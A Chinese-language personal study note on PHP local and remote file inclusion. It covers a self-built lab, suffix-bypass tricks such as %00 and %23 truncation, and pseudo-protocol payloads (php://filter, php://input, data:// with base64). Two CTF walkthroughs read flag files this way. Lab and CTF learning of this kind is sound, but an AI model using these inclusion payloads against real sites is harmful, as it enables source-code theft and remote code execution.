#仅是个人的学习笔记记录,不得转载和供他人学习#
#未经授权和许可 不得去在别人的网站使用!!#
#请自觉遵守网络安全法!!#
脚本语言伪协议
文件包含
本地包含
练习:
首先在自己的本地靶场写一个文件包含的代码漏洞
http://localhost/xx/xx/xx.php?参数=localhost/xx/xx.txt(本地包含)
这里可以看到,里面取的get参数是filename
目录下的文件名称是upload.php
所以在使用文件包含的时候:http://localhost/upload.php?filename=1.txt
1.txt就在upload.php的同目录下
如果是要读其他文件夹需要带上绝对路径
如http://localhost/upload.php?filename=upload/1.txt
但是一般包含都不会这么简单,可能会有限制,比如
这个代码在参数后面会自动拼接一个.html
所以如果还像上面一样输入的话,他实际访问的就会变成1.txt.html 就不行了
如果是这种情况,就必须绕过
绕过方法
1.截断
%00
%23
2.像绕waf一样制造垃圾数据
在txt后面加大量的. 使其溢出
3.再传一个1.txt.html
这样他就会直接访问你这个1.txt.html文件了
远程包含
远程包含和本地包含差不多
只是要将参数后面的带上对象的IP
PS:这里我做的时候,访问路径写成filename=192.168.93.132/1.txt
然后找不到
原因是因为虚拟机上的phpstudy端口被设置为90
后续又改成filename=192.168.93.132:90/1.txt
还是没找到,发现原来虚拟机的1.txt放在了C:\phpstudy下。找不到
又改了位置,继续filename=192.168.93.132:90/1.txt
还是没找到,结果是因为192.168.93.132前面要加上http://
所以最终结果是:http://localhost/upload.php?filename=http://192.168.93.132:90/1.txt
这样才能正常读取出来
限制的和本地包含一样的
%23截断
?截断
脚本语言伪协议
读取文件
一般用于读取源码
php://filter/read=convert.base64-encode/resource=xx.php
读取xx.php的源码并将其以base64进行输出
http://localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
将post请求当做php代码执行
input
http://localhost/upload.php?filename=php://input
甚至上传一句话木马
访问本地文件
file://绝对路径
DATA
可以将代码用base64编码写 一样能触发
http://localhost/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b
南邮CTF练习
点击
看参数,有个file=show.php
使用上面的读取文件方式
解码!
flag get!
BUUCTF练习
一样,点击
这题没有像上一题那样告诉我们访问的什么地方的flag.php
但是
一般来说这种没有特定指定的php,基本都是默认的Index.php
试一下,加上再访问
没报错,还是原来的页面,说明他就是用的index.php
那就ok
继续读取文件用base64输出
选择直接读flag.php,毕竟我们要找的就是flag,肯定先看这个
解码
nice!